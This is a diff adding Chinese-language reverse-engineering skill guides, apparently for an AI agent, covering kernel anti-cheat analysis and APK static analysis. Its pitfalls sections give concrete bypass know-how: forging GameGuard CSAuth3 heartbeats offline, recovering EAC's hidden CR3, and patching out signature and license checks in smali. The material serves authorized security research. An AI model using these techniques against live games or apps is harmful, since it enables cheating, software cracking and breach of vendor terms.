按顺序执行,每步产物(组件清单、IRP 表、校验逻辑笔记)记录证据路径 + sha256(见 [[re-triage]]),供报告引用。**所有步骤在授权范围与沙箱内进行**(授权边界见「何时使用」)。
|
||||
|
||||
1. **反作弊组件识别(驱动 / 服务)**:
|
||||
```sh
|
||||
driverquery /v | findstr /i "anti cheat easy battle" # 驱动层组件
|
||||
sc query | findstr /i "anti cheat easy battle vanguard" # 服务层组件
|
||||
fltmc # 文件系统过滤驱动(完整性校验常在此)
|
||||
```
|
||||
- 典型组件:EAC(EasyAntiCheat.sys + 用户态加载器)、BE(BEDaisy.sys + 用户态服务)、Vanguard(vgk.sys 驱动 + 常驻服务);各厂商还有更新服务/反篡改守护
|
||||
- 记录:组件清单(驱动名/服务名/安装路径)+ 驱动文件 sha256(版本锚点,见坑 3)+ 自保护状态(**查实际 protection level**,不要默认 PPL)
|
||||
|
||||
2. **驱动校验分析(内存扫描 / 完整性)**:
|
||||
- 静态还原([[re-kernel]] 方法):DriverEntry → IRP 分发表(`IRP_MJ_DEVICE_CONTROL` 等)→ 用户态 IOCTL 交互界面;重点找:
|
||||
- 完整性校验:定时/触发式校验游戏进程代码段与数据段哈希(`MmCopyVirtualMemory`/`KeStackAttachProcess` 类读取目标进程内存后计算)
|
||||
- 内存扫描:按特征扫描游戏进程内存(寻找修改后的代码/注入模块)
|
||||
- 回调注册:`PsSetCreateProcessNotifyRoutine`(监控进程创建)、`PsSetLoadImageNotifyRoutine`(监控模块加载)——校验逻辑的触发入口
|
||||
- 用户态组件:加载器与服务([[re-binary-core]] 反编译)——心跳、报告通道、更新检查
|
||||
- 产物:检测机制清单(触发点 → 校验内容 → 处置动作)
|
||||
|
||||
3. **检测规避思路(授权范围内研究)**:
|
||||
- 研究"检测机制如何工作"(防御视角),组织方式:检测面清单(完整性校验 / 内存特征 / 行为时序 / 驱动层监控)
|
||||
- 每个检测面的分析产出:检测条件、触发频率、报告通道(谁收到告警、什么格式)
|
||||
- **不实施**:在真实游戏环境中的规避、绕过工具开发、外挂分发——超出授权边界(坑 2)
|
||||
- 分析用途建议:检测改进(给厂商/防御侧)、规则编写([[re-ioc]] 思路:驱动特征、行为模式)
|
||||
|
||||
4. **内核对抗([[re-kernel]] 联动)**:
|
||||
- 内核调试会话([[re-windbg]]):断点打在回调函数 / 校验函数上观察触发时机与参数
|
||||
- 反作弊驱动对调试器的反制:检测调试端口 / 清调试寄存器(`!dr`)/ 蓝屏诱饵——分析时记录反制手段(防御视角的"检测面"组成部分),应对一律在沙箱 + 快照([[re-analyze/platform-tips]] 最高原则)
|
||||
- 蓝屏风险:所有断点/触发实验在调试 VM 内做,操作前打快照([[re-kernel]] 坑 4)
|
||||
- 产物:调试会话记录 + 反制手段清单
|
||||
|
||||
5. **分析报告(合规边界)**:
|
||||
- 报告结构:授权范围声明 → 组件清单(版本/哈希)→ 检测机制(触发点/内容/动作)→ 反制手段 → 防御建议
|
||||
- 合规要点:报告标注授权环境与用途;不包含可操作的绕过步骤;不发布驱动密钥/签名材料;敏感结论走负责任披露(厂商安全团队/漏洞奖励)
|
||||
- 产物:报告存档(sha256)
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-kernel]]:驱动逆向方法论底座(DriverEntry / IRP / 回调)+ 内核调试配合——本技能固定依赖
|
||||
- [[re-windbg]]:内核调试会话、`!analyze -v`、断点与现场恢复(观察内核驱动执行路径的主要手段)
|
||||
- [[re-x64dbg]]:用户态辅助组件(加载器/服务)快速定位
|
||||
- [[re-game]]:游戏侧内存修改 / CE 思路——检测机制的"被检测对象",对照理解
|
||||
- [[re-evasion]]:用户态反调试 / 反分析对抗框架(与驱动层反制对照)
|
||||
- [[re-ioc]]:检测特征 → YARA 规则 / 行为模式产出(防御视角)
|
||||
- [[re-sandbox]] / [[re-analyze/platform-tips]]:隔离沙箱 + 快照最高原则(蓝屏与样本风险)
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **把 attach 失败一律判成 PPL**:现象——x64dbg/WinDbg 用户态 attach 目标被拒绝("无法附加")或附加后进程立即退出/蓝屏,遂记为"目标是 PPL";原因——**PPL 是 Windows 自身的进程保护机制,有明确的 protection level 与签名者语义**(`PROCESS_PROTECTION_LEVEL_INFORMATION` 区分 `PROTECTION_LEVEL_NONE`=未受保护、`PROTECTION_LEVEL_PPL_APP`=第三方应用启用了进程保护等),**不存在"加载了反作弊驱动 ⇒ 游戏自动成为 PPL"这样的通用规则**——反作弊完全可以只在内核侧做访问过滤、对象回调、完整性校验和反调试,而目标进程仍是普通进程;**attach 被拒只是现象,不能据此反推 PPL**;对策——先查**真实** protection level(`GetProcessInformation(..., ProcessProtectionLevelInfo, ...)`、Process Explorer 的 Protection 列、WinDbg 读 `EPROCESS.Protection`),只有非 `PROTECTION_LEVEL_NONE` 才叫 PPL;普通进程 attach 失败时分别排查:反作弊的句柄访问过滤 / 对象回调(`ObRegisterCallbacks` 剥调试权限)、用户态反调试、自终止策略、调试器检测(调试端口、调试寄存器、`NtQueryInformationProcess` 调试状态)
|
||||
- **"内核调试是唯一动态手段"**:现象——因用户态 attach 不通,就把整个分析限制在内核调试一条路上,跳过其他可观测面;原因——把"驱动内核侧"等同于"整个反作弊系统";对策——**分析内核驱动内部执行路径时以隔离环境下的内核调试为主**(双机/VM,[[re-windbg]],目标在 VM 内、调试器在宿主,断点下在内核回调/校验函数而非游戏进程内,一切在沙箱 + 快照内,蓝屏即回滚);但用户态 service/launcher、IPC、文件与注册表活动、ETW/系统事件、网络交互、进程与模块生命周期**各有对应的动态观测方法**,不因 attach 不通而失效
|
||||
- **法律边界(仅研究授权环境)**:现象——分析被用于制作外挂 / 在线作弊 / 出售绕过工具,触发法律与游戏厂商反制(封禁、诉讼);原因——反作弊分析天然接近作弊技术,绕过手段在真实游戏环境使用即侵权/违约;对策——严格限定授权范围(自有设备、自有账号、书面许可的实验室);报告只做防御向(检测机制如何工作、如何改进检测);不发布可操作工具、不公开驱动敏感材料;以"理解检测面"为边界,不以"绕过成功"为产出
|
||||
- **反作弊更新频繁(结论过期)**:现象——上周分析出的函数地址/偏移/检测点全部失效,报告结论"过时";原因——EAC/BE 数天一个版本,驱动加壳/混淆与结构变动频繁;对策——分析必须锚定版本:记录驱动 sha256、文件版本号、分析时间(步骤 1);报告注明版本与日期;分析方法(IRP 还原、回调枚举、IOCTL 解码)跨版本复用,具体地址/偏移不跨版本复用
|
||||
- **绕过技术对抗升级(分析方向错位)**:现象——分析出的"弱点"很快被修复或触发新检测,陷入逐点对抗;原因——反作弊是持续对抗工程,单点绕过必然升级;对策——把分析定位为"理解检测面"(系统视角)而非"制造漏洞"(单点视角);产出按检测面组织(完整性/内存/行为/驱动层)并给出防御建议;对抗升级的案例本身就是防御研究素材(记录新旧检测机制对比)
|
||||
- **CSAuth3 心跳协议自包含可脱机复现(GameGuard)**:现象——反作弊心跳包(头部 KDF + 载荷变换 + 双重 CRC)黑盒猜测易错,静态逆向无从下手;原因——CSAuth3 是 GameMon 客户端与对端的心跳问答循环(对端发挑战包、客户端回心跳包),**全部密码学材料是硬编码常量**(Blowfish K=0x91284712、公开 π 表),仅 counter 与 prev_size 随会话变化——首包 seed=0(counter=0、K=0x91284712、载荷 8 字节全 0 且空载荷不 scramble);对策——按"头部 KDF 解密 → CRC1 → Blowfish 逆变换 → CRC2"逐层还原;**scramble/descramble 是同一函数**(Blowfish 加解密对称性:发送方明文 TLV 跑一遍 `bf_dec` 成线上密文,接收方再跑 `bf_dec` 还原);构造包时必须**先 scramble 再算 CRC2**(CRC2 校验的是 descramble 之后的载荷);密钥编排离线确定 → 纯脱机心跳可行
|
||||
- **错误码表是心跳重放的黑盒加速器**:现象——构造的心跳包被对端拒绝,不知道卡在哪层校验;原因——CSAuth3 对每类校验失败返回不同错误码(0xBAE 首包标志正常、0xCE9 CRC1 不匹配、0xCE8 CRC2 严格不匹配、0xBB8 CRC2 映射模式基值、0xCE5 seq>5、0xCEA magic≠0x1E、0xCEF/0xCEC size 越界、0xD4A body 未 8 对齐、0xD52 消息数不符、0xD913 消息类型1 哈希失败等);对策——按错误码反推失败层(≥0xBB8 的错误置错误标志 → 后续 Check 假通过、Get 停发);hook 客户端处理挑战包的 callback handler 可直接获知该发什么,转发即可
|
||||
- **CR3 加密(EAC 类内核反作弊)**:现象——读 `_KPROCESS.DirectoryTableBase` 拿到的是错误 CR3,遍历进程内存全乱/访问异常;原因——反作弊接管内核异常并把 DirectoryTableBase 写错值,附加/读进程等需访问该字段的操作触发异常时,在接管后的异常回调里才修复真值;对策——获取真实 CR3 的常用法:**页帧 ListEntry.Flink 指向加密后的进程 K/EPROCESS 结构指针**,遍历 `MmPfnDataBase` 逐页帧比对 Flink 解密值是否为目标进程结构,命中即得真实 CR3;注意版本差异:Win11 24H2 及部分高版本 Win10/11 的加密算法(`MiSetPageTablePfnBuddy` 可见)与其他版本不同,需按版本适配;分析前先确认目标系统版本(见 [[re-kernel]] 结构随版本变化坑)
|
||||
134
vendor-new/rev-skills/.claude/skills/re-apk/SKILL.md
Normal file
134
vendor-new/rev-skills/.claude/skills/re-apk/SKILL.md
Normal file
@@ -0,0 +1,134 @@
|
||||
---
|
||||
name: re-apk
|
||||
description: >
|
||||
APK 静态分析:jadx/apktool、manifest、smali、加固识别。
|
||||
触发词:apk、android逆向、jadx、smali、dex
|
||||
capabilities: [dex-parser]
|
||||
---
|
||||
|
||||
# APK 静态分析
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:拿到 APK / 安卓应用包,需要看清单、Java 代码、资源、权限、组件结构
|
||||
- 用:需要识别加固 / 混淆(壳、资源混淆),为脱壳或补丁做准备
|
||||
- 不用:需要运行时 hook / 解密 / 绕过(走 [[re-frida]])
|
||||
- 不用:目标是原生库 .so 的逻辑(走 [[re-binary-core]] 的 [[re-format-elf]])
|
||||
- 不用:需要从运行时内存提取 DEX(走 [[re-memdump]])
|
||||
|
||||
## 工具准备
|
||||
|
||||
纯静态分析(解包 / 反编译)可免沙箱([[re-analyze/platform-tips]] 最高原则);涉及动态 / 脱壳转 [[re-frida]] / 脱壳域。所有工具先验证再使用。
|
||||
|
||||
### jadx —— Java 反编译主力(含 JADX GUI)
|
||||
|
||||
- 官方/GitHub release:`https://github.com/skylot/jadx/releases` 下载 `jadx-<版本>.zip`,解压后运行 `bin/jadx`(Linux/macOS)或 `bin\jadx.bat`(Windows);GUI 是 `bin/jadx-gui`
|
||||
- macOS: `brew install jadx`;Arch: `pacman -S jadx`
|
||||
- 依赖 Java 11+(官方要求 11+ 且 64 位):Linux `apt install openjdk-17-jre` / `dnf install java-17-openjdk` / `pacman -S jre17-openjdk`;macOS `brew install openjdk`
|
||||
- Windows/WSL: WSL 内用 Linux 版 zip
|
||||
- 验证: `jadx --version`;版本注——release zip 与 brew/pacman 包同步更新,以实测版本为准
|
||||
|
||||
### apktool —— 解包 / 回编译(官方/GitHub release)
|
||||
|
||||
- 依赖 Java 8+(官方安装页的最低要求,jar 以 Java 8 为目标编译)。官方 wrapper:从 `https://github.com/iBotPeaches/Apktool/releases` 下载 `apktool_<版本>.jar` 与 wrapper 脚本(Linux/macOS `apktool`、Windows `apktool.bat`),脚本与 jar 放同目录
|
||||
- **版本模型:3.x 为当前主线,2.x 为维护线**——两线命令不完全兼容,官方文档也按 3.x / 2.x 分轨。下载后先 `apktool --version` 确认 major version;2.x 时代的命令与教程直接拿到 3.x 上会报 `Unrecognized option`(变化清单见 [[gotchas]] 版本差异)
|
||||
- Debian/Ubuntu: `apt install apktool`(仓库版较旧,命令行为兼容即可)
|
||||
- macOS: `brew install apktool`
|
||||
- Windows/WSL: WSL 内 Linux 版
|
||||
- 验证: `apktool --version`
|
||||
|
||||
### aapt2 —— 资源转储 / 还原混淆资源
|
||||
|
||||
- Android SDK build-tools 自带。安装 cmdline-tools 后:`sdkmanager "build-tools;34.0.0"`,路径 `$ANDROID_HOME/build-tools/34.0.0/aapt2`
|
||||
- macOS: `brew install --cask android-commandlinetools` 后 `sdkmanager "build-tools;34.0.0"`
|
||||
- Windows: Android Studio → SDK Manager 勾选 build-tools
|
||||
- 验证: `aapt2 version`;版本注——build-tools 版本随 SDK 更新(示例 34.0.0,新版 SDK 自带更高版本),命令接口稳定,按已装版本使用即可
|
||||
|
||||
### dex2jar(可选)—— dex → jar
|
||||
|
||||
- GitHub release:`https://github.com/pxb1988/dex2jar/releases` 下载 zip,解压后 `d2j-dex2jar.sh classes.dex` 得 jar,再用 jd-gui 浏览
|
||||
- 需要 Java
|
||||
- 验证: `d2j-dex2jar.sh --version`
|
||||
|
||||
### apksigner / keytool —— 重打包签名(smali 补丁配套)
|
||||
|
||||
- apksigner 在 Android SDK build-tools(同 aapt2 路径);keytool 随 Java 自带
|
||||
- 验证: `apksigner --version`;`keytool -help`
|
||||
|
||||
### adb —— 设备安装 / 重打包闭环验证
|
||||
|
||||
- Android SDK platform-tools 自带(`sdkmanager "platform-tools"`)
|
||||
- Linux: `apt install adb`(Debian/Ubuntu);macOS: `brew install --cask android-platform-tools`;Arch: `pacman -S android-tools`
|
||||
- Windows: platform-tools zip 官方下载
|
||||
- 验证: `adb version`
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行,每步记下结果(证据路径 + sha256,见 [[re-triage]])。
|
||||
|
||||
1. **解包(apktool d)**:
|
||||
```sh
|
||||
apktool d app.apk -o out/
|
||||
```
|
||||
解出 `AndroidManifest.xml`、`smali/`(可回编译的字节码)、`res/`、`assets/`、`lib/`。`-s`(`--no-src`)不解码源码(只出资源)、`-r`(`--no-res`)不解码资源(只出 smali),补丁时按需组合。产物比 jadx 更适合改后回编译。
|
||||
|
||||
2. **AndroidManifest 入口/权限/组件**:
|
||||
```sh
|
||||
grep -E 'application|activity|service|receiver|provider' out/AndroidManifest.xml | head -40
|
||||
```
|
||||
记录:主入口(`application` / 首个 `activity` 的 `android:name`)、`uses-permission`(短信 / 通话记录 / 设备管理权限是恶意或敏感信号)、exported 组件、`android:debuggable="true"`(可调试应用可直接 [[re-frida]] attach)。加固后入口常被替换成壳类(见坑 1)。
|
||||
|
||||
3. **jadx 反编译 Java**:
|
||||
```sh
|
||||
jadx -d java-out app.apk # 批量反编译全部 dex 类
|
||||
jadx app.apk # 或 GUI 模式逐类浏览
|
||||
```
|
||||
先看入口类(Application / MainActivity)与算法 / 校验类;敏感串(密钥、URL、校验逻辑)按 `grep -rE 'key|secret|sign|license' java-out/` 定位。dex2jar 等价替代:`d2j-dex2jar.sh app.apk` 得 jar 后用 jd-gui,jar 也可转 [[re-java]] 流程(CFR/JD-GUI 浏览、Java 加固识别)。反编译不出业务代码 → 加固识别(步骤 5)。
|
||||
|
||||
4. **smali 补丁思路**:
|
||||
```sh
|
||||
# 改 smali 后回编译、对齐、签名、安装(用 apksigner 时 zipalign 必须在签名之前,签名后不得再改包)
|
||||
apktool b out/ -o patched.apk
|
||||
keytool -genkey -v -keystore ks.jks -alias r -keyalg RSA -validity 3650 -storepass 123456
|
||||
zipalign -P 16 -f -v 4 patched.apk aligned.apk
|
||||
apksigner sign --ks ks.jks --out signed.apk aligned.apk
|
||||
adb install signed.apk
|
||||
```
|
||||
常用改法:条件跳转取反(`if-eqz` ↔ `if-nez`)、把 `const/4 v0, 0x0` 改成返回常量、把校验方法直接 `return-void`。先 `jadx` 定位逻辑再在对应 smali 里改。目标含签名自校验时补丁可能被拦(见坑 2)。
|
||||
|
||||
5. **加固/混淆识别**:
|
||||
- 壳特征:jadx 只见壳类(`com.stub.StubApp`=爱加密、`com.secneo.apkwrapper` / `com.bangcle.*`=梆梆,乐固等);`lib/` 多一个壳 so(`libjiagu.so`=360 加固、`libDexHelper.so`=爱加密…);`classes.dex` 体积异常小(真 dex 运行时解密)
|
||||
- 资源混淆特征:`res/` 资源路径被随机改名、`resources.arsc` 结构异常
|
||||
- 识别为加固 → 转脱壳域([[re-anti-analysis]] / [[re-mobile-pack]])或动态取内存 DEX([[re-frida]] / [[re-memdump]]);壳名/节区/熵的细粒度指纹对照走 [[re-packer-id]];资源混淆用 aapt2 还原:
|
||||
```sh
|
||||
aapt2 dump badging app.apk # 包名 / 入口 / 权限速览
|
||||
aapt2 dump resources app.apk # 混淆后的资源映射
|
||||
```
|
||||
|
||||
6. **AAB 与 split APK(分发形态边界)**:
|
||||
- `.aab`(Android App Bundle):本质是 zip,内含 dex 与资源——jadx 可直接打开读代码;真机安装需经 bundletool 生成 APKS,拿到 .aab 按步骤 1-3 走即可
|
||||
- split APK(`base.apk` + `config.*.apk`):主 dex 与代码在 base,语言/密度等配置在 split——静态分析以 base 为主,资源差异在 split 中比对;apktool 对 base 与 split 分别解包
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-mobile]]:工作流第 2 步(APK 静态分支)固定调用本技能
|
||||
- 需要运行时(解密 / hook / 绕过)→ [[re-frida]];运行时内存取 DEX → [[re-memdump]]
|
||||
- 加固 / 带壳 → [[re-anti-analysis]](脱壳域)与 [[re-mobile-pack]](加固脱壳专项);原生 .so → [[re-binary-core]]([[re-format-elf]] / [[re-ghidra]])
|
||||
- dex→jar 后的 Java 层深挖(混淆 / Java 加固)→ [[re-java]]
|
||||
- 本技能被 [[re-analyze]] 的 triage「移动 App 分析」路径调用(re-mobile → re-apk)
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **加固样本 jadx 只看到壳壳**:现象——反编译出来只有 StubApp 之类壳类,业务代码全无;原因——真 dex 加密存放在 assets/ 或运行时才解密;对策——按步骤 5 识别壳,转 [[re-anti-analysis]] 脱壳,或 [[re-frida]] / [[re-memdump]] 运行时取内存 DEX
|
||||
- **签名校验拦补丁**:现象——重打包安装后闪退或报"签名不一致 / 未签名";原因——应用内自校验签名(对比 PackageManager 的签名信息);对策——定位校验点打补丁绕过(smali 改返回值 / 跳转),或 [[re-frida]] hook `PackageManager.getPackageInfo` 调用链
|
||||
- **资源混淆后无法直接看资源**:现象——`res/` 路径与资源 ID 对不上、strings 定位不到目标资源;原因——资源被混淆随机改名;对策——aapt2 dump 还原映射(步骤 5),必要时结合动态分析对照
|
||||
- **原生 .so 被当 Java 分析**:现象——Java 层找不到核心逻辑(算法 / 反调试);原因——敏感逻辑写在 JNI 的 .so 里;对策——`lib/` 下 so 转 [[re-format-elf]] + [[re-ghidra]]([[re-binary-core]]),用导出表 / `Java_<包名>_<类名>_<方法名>` 风格符号对 JNI 函数
|
||||
- **apktool 回编译失败**:现象——`apktool b` 报资源编译错误;原因——解包时资源被解码、部分资源格式不兼容回编译;对策——`apktool d -r` 保留原资源不解码,只改 smali 后回编译
|
||||
- **split APK 只分析 base 会缺资源**:现象——目标字符串/资源在 base 里找不到;原因——语言/密度配置拆在 `config.*.apk` split 里;对策——apktool 对 base 与各 split 分别解包,资源差异按 split 比对(步骤 6)
|
||||
|
||||
- **自写 dex 解析四细节**:opcode 是 **u16 低字节**(高字节是寄存器位,读完整 u16 当 opcode 全错位);`fill-array-data` 是 **0x26**(31t)、goto 是 **0x28**(0x24 是 filled-new-array,凭记忆必错);string_data_item 有 **uleb128 长度前缀**(不跳过会把长度当字符);code_item 的 `insns_size` 在 **+12**(+4 是 outs_size)——手写解析器前先对照 dex 规范核对布局
|
||||
- **jadx 目录只剩启动脚本**:现象——`jadx` 报 ClassNotFound;原因——安装不完整(jar 缺失/被清理);对策——从 GitHub release 重下完整 zip(codeload.github.com 比 github.com 稳),或直接用 baksmali 等单一工具
|
||||
- **容器/双开(VirtualApp 类)样本分析**:现象——样本跑在双开容器里行为异常、hook 不到目标进程,或要分析容器本身;原因——VA/Blackbox 容器通过"代理桩 + 动态注册"模拟系统:启动 Activity 走容器内假 AMS(Binder 动态代理拦截,把 VAPP 请求参数还原后再转发真实系统);IO 重定向把写死的绝对路径转向容器内安装路径;ContentProvider 的 `onCreate` 作为容器初始化入口(`handleBindApplication` 主动调用);原理同老版 Android(VA 只支持老版本,Blackbox 为现代参考实现);对策——分析容器内应用时注意进程真实归属(容器进程 vs 宿主进程)、hook 点选在容器框架层(假 AMS/IO 重定向函数)而非应用层;识别双开环境(双开检测)看 `/proc/self/maps` 容器 so、假包名路径特征;这类原理对免安装运行/插件化分析也通用
|
||||
|
||||
- **重打包后 `install -r` 不生效(重打包陷阱)**:现象——重打包签名安装后行为毫无变化,误判「patch 无效」;原因——同包名同签名时 `-r` 会替换既有应用并保留数据,versionCode 未递增不阻止内容更新(它主要影响降级安装规则),「patch 未生效」应排查:签名校验链(见下条)、split APK 不一致、多用户/profile 的安装目标、构建产物缓存(apktool 回编译 build 缓存未清理)、目标进程未重启;对策——装机后做闭环验证:`adb shell pm path <包名>` 取回已装 APK,对 patch 地址做字节级比对,字节确认在位后再排查逻辑层(消费点错误等)(来源:reverse-skills(inliver233),MIT)
|
||||
- **签名校验跨层链与系统版本漂移**:现象——重打包后仍弹「签名不一致」类提示,或复用旧式签名适配 hook 后在新系统上反而误报篡改;原因——签名校验常是跨层链(Java 层取签名信息 → 摘要计算 → 原生层与硬编码基线比对,任一层不匹配即判失败),只中和单点不够;应用自带 PackageManager 签名适配 hook 可复用(拦截 getPackageInfo 系列、同时替换 signatures 与 signingInfo、只作用于自身包),但其反射构造的内部签名对象(如 SigningDetails)构造器签名随系统版本变化,抛异常返回 null 后触发误判;对策——优先复用应用自带的签名适配 hook,版本漂移时用 Frida 探测活构造器、改走公开构造器重建;带壳目标优先免重打包(运行时签名适配),无壳再考虑重打包;静态侧找原生比对函数中和失败分支(来源:reverse-skills(inliver233),MIT)
|
||||
@@ -0,0 +1,107 @@
|
||||
# APK 静态分析命令速查与操作序列
|
||||
|
||||
工具族分三层:jadx(反编译 Java)、apktool(解包/回编译 smali)、aapt2/apksigner/adb(资源转储/签名/安装闭环)。各工具命令与参数以官方文档为准(jadx: skylot/jadx;apktool: iBotPeaches/Apktool)。
|
||||
|
||||
## 命令族速查
|
||||
|
||||
### jadx(反编译)
|
||||
|
||||
- `jadx -d java-out app.apk` 批量反编译全部 dex 类到目录
|
||||
- `jadx --show-bad-code app.apk` 容错模式(部分反编译失败时仍输出)
|
||||
- `jadx -j <n> app.apk` 线程数;`-r` 不反编译资源;`--no-imports` 去掉 import 行(diff 友好)
|
||||
- `jadx-gui` 图形界面(单类浏览、跳转、搜索);`jadx-gui app.apk` 直接打开
|
||||
- `jadx --version` 验证;依赖 Java 11+(64 位)
|
||||
|
||||
### apktool(解包/回编译)
|
||||
|
||||
- `apktool d app.apk -o out/` 解包(资源转成可读 XML + smali)
|
||||
- `apktool d -r app.apk -o out/` 只出 smali 不解码资源(回编译成功率更高,smali 补丁常用形态)
|
||||
- `apktool d -s app.apk -o out/` 只出资源不出 smali
|
||||
- `apktool b out/ -o patched.apk` 回编译(3.x 起回编译固定走 aapt2,无 aapt1 可选,`--use-aapt2` 这个选择项已随 aapt1 一并移除)
|
||||
- `apktool d -a app.apk -o out/` 解全部源码,含未知 dex 文件(3.x 的 `-a`/`--all-src`,取代 2.x 的 `--only-main-classes`;语义相反——前者放开、后者收窄)
|
||||
- `apktool b out/ --aapt <file>` 指定 aapt2 二进制(3.x 的换 aapt2 入口,2.x 的 `--use-aapt2` 是开关、这里是路径;传入 aapt1 会被直接拒绝)
|
||||
- `apktool --version` 验证;`apktool d` 默认带 `--force`(覆盖旧输出)
|
||||
|
||||
### aapt2 / aapt(资源与清单)
|
||||
|
||||
- `aapt2 dump badging app.apk` 包名/版本/入口 activity/权限/目标 SDK 速览
|
||||
- `aapt2 dump resources app.apk` 资源 ID → 名称映射(资源混淆还原用)
|
||||
- `aapt2 dump xmltree app.apk --file AndroidManifest.xml` 二进制 XML 直接解码
|
||||
- `aapt2 version` 验证;build-tools 版本随 SDK 更新,命令接口稳定
|
||||
- 老 SDK 环境用 `aapt dump badging app.apk`(build-tools 34 前默认)
|
||||
|
||||
### apksigner / keytool / zipalign(重打包签名)
|
||||
|
||||
- `keytool -genkey -v -keystore ks.jks -alias r -keyalg RSA -validity 3650 -storepass 123456` 生成自签密钥库
|
||||
- `zipalign -P 16 -f -v 4 patched.apk aligned.apk` **先对齐**(4 字节对齐;`-P 16` 使未压缩的 `.so` 按 16 KiB 页对齐,含 native 库时按官方要求加)
|
||||
- `apksigner sign --ks ks.jks --out signed.apk aligned.apk` 签名(实际启用的 scheme 由 `--min-sdk-version`/`--max-sdk-version` 决定,非固定 v1+v2)
|
||||
- `apksigner verify --print-certs signed.apk` 验证签名并打印证书(确认签名生效)
|
||||
- `zipalign -c -P 16 -v 4 signed.apk` 校验对齐(签名后不得再 `zipalign`,会破坏 v2/v3 签名)
|
||||
- `apksigner --version` 验证;用 apksigner 时对齐必须在签名**之前**完成
|
||||
|
||||
### adb / 辅助(闭环验证)
|
||||
|
||||
- `adb version` 验证;`adb devices` 列设备
|
||||
- `adb install signed.apk` 安装;`adb install -r signed.apk` 覆盖安装
|
||||
- `adb shell pm path <包名>` 取回已装 APK 路径,`adb pull` 拉回做字节级补丁验证
|
||||
- `file app.apk` 确认 zip 格式;`unzip -l app.apk | head` 看包内结构(dex 数量/so 列表)
|
||||
|
||||
## 常用操作序列(组合套路)
|
||||
|
||||
### 1. 完整静态分析流(入口 → 权限 → 代码 → 敏感点)
|
||||
|
||||
```
|
||||
apktool d app.apk -o out/ # 清单与 smali
|
||||
grep -E 'application|activity|uses-permission' out/AndroidManifest.xml
|
||||
jadx -d java-out app.apk # Java 层
|
||||
grep -rE 'key|secret|sign|license|http' java-out/ # 敏感串定位
|
||||
# 定位到的校验/算法类 → jadx-gui 单类深读 → 交叉引用上溯调用者
|
||||
```
|
||||
|
||||
### 2. smali 补丁重打包闭环(改 → 回编译 → 签名 → 安装 → 字节验证)
|
||||
|
||||
```
|
||||
apktool d -r app.apk -o out/ # 保留原资源,只改 smali
|
||||
# 在对应 smali 里改:if-eqz ↔ if-nez、const/4 v0, 0x0、return-void
|
||||
apktool b out/ -o patched.apk
|
||||
keytool -genkey -v -keystore ks.jks -alias r -keyalg RSA -validity 3650 -storepass 123456
|
||||
zipalign -P 16 -f -v 4 patched.apk aligned.apk # 必须在签名之前对齐(含未压缩 .so 时 -P 16 做 16 KiB 页对齐)
|
||||
apksigner sign --ks ks.jks --out signed.apk aligned.apk
|
||||
apksigner verify --print-certs signed.apk # 签名先自证
|
||||
zipalign -c -P 16 -v 4 signed.apk # 对齐校验(签名后不得再 zipalign,否则 v2/v3 签名失效)
|
||||
adb install signed.apk
|
||||
adb shell pm path <包名> && adb pull <路径> # 取回已装 APK
|
||||
# 对 patch 地址做字节级比对,确认修改在位后再排查逻辑层(见 SKILL.md 坑)
|
||||
```
|
||||
|
||||
### 3. 资源混淆还原(aapt2 dump 对照)
|
||||
|
||||
```
|
||||
aapt2 dump badging app.apk # 包名/入口/权限基线
|
||||
aapt2 dump resources app.apk > res-map.txt # 混淆后资源 ID → 名称映射
|
||||
# 动态侧([[re-frida]])取运行时资源 ID,回查 res-map.txt 还原真实资源名
|
||||
```
|
||||
|
||||
### 4. 加固识别与分流
|
||||
|
||||
```
|
||||
jadx -d java-out app.apk 且只见壳类(com.stub.StubApp 等) → 加固
|
||||
ls out/lib/ 找壳 so(libjiagu.so / libDexHelper.so / libsecneo.so 等)
|
||||
ls -la out/classes*.dex | 体积异常小 → 真 dex 运行时解密
|
||||
# 判定加固后:转 [[re-anti-analysis]] 脱壳,或 [[re-frida]]/[[re-memdump]] 运行时取内存 DEX
|
||||
# 壳名/节区/熵指纹对照 → [[re-packer-id]]
|
||||
```
|
||||
|
||||
## 实现教训(内化)
|
||||
|
||||
- jadx 反编译结果与 smali 严格对应:先 jadx 定位方法,再按类名/方法名在 apktool 产物里找对应 smali 改写,比直接读 smali 快一个量级
|
||||
- 补丁闭环验证分两层:先字节级(pull 已装 APK 比对 patch 地址),后逻辑级(行为变化)——字节在位说明签名/安装链路没破坏
|
||||
- `apktool d -r` 是 smali 补丁默认形态:资源原样保留,回编译失败面最小;只有需要改资源时才用完整解包
|
||||
- 加固判定优先看「jadx 输出 vs 包内 dex」两处交叉,单一特征(如只有一个壳 so)可能误判
|
||||
- 静态结论与动态证据对照:资源混淆目标用 aapt2 dump 映射 + [[re-frida]] 运行时取值,静态侧不硬猜
|
||||
|
||||
## 使用注意
|
||||
|
||||
- 纯静态可免沙箱([[re-analyze/platform-tips]] 最高原则);涉及运行样本(重打包安装、脱壳验证)按 [[re-analyze/platform-tips]] 沙箱分支执行
|
||||
- 每步产物(解包目录 hash、补丁 APK sha256、签名证书)对照 [[re-triage]] 入档;结论写 [[re-analyze/analysis-contract]]
|
||||
- 重打包目标含签名自校验时先评估校验链(见 [[gotchas]] 签名坑组),带壳目标优先免重打包方案
|
||||
@@ -0,0 +1,42 @@
|
||||
# APK 静态分析工具特有坑与边界
|
||||
|
||||
## jadx 坑组
|
||||
|
||||
- **反编译不出业务代码 ≠ 工具坏了**:加固样本 jadx 只输出壳类(StubApp/壳 Application),业务 dex 运行时才解密——先按 SKILL.md 步骤 5 识别加固,再走 [[re-anti-analysis]] / [[re-mobile-pack]] 或 [[re-frida]]/[[re-memdump]] 取内存 DEX,别在 jadx 层面反复折腾
|
||||
- **大样本 OOM / 卡死**:dex 巨大或异常样本(畸形 resources.arsc)会拖垮默认堆——用 `jadx-gui` 单类浏览替代全量反编译,或给 jadx 进程加大堆(JAVA_OPTS 类环境变量按发行版脚本而定);先用 `unzip -l` 看 dex 数量评估规模
|
||||
- **反编译质量随 dex 畸形程度下降**:混淆/畸形 code_item 会产生坏代码——`--show-bad-code` 容错输出可读性差但保底;优先交叉 smali 侧(apktool 产物)核对逻辑
|
||||
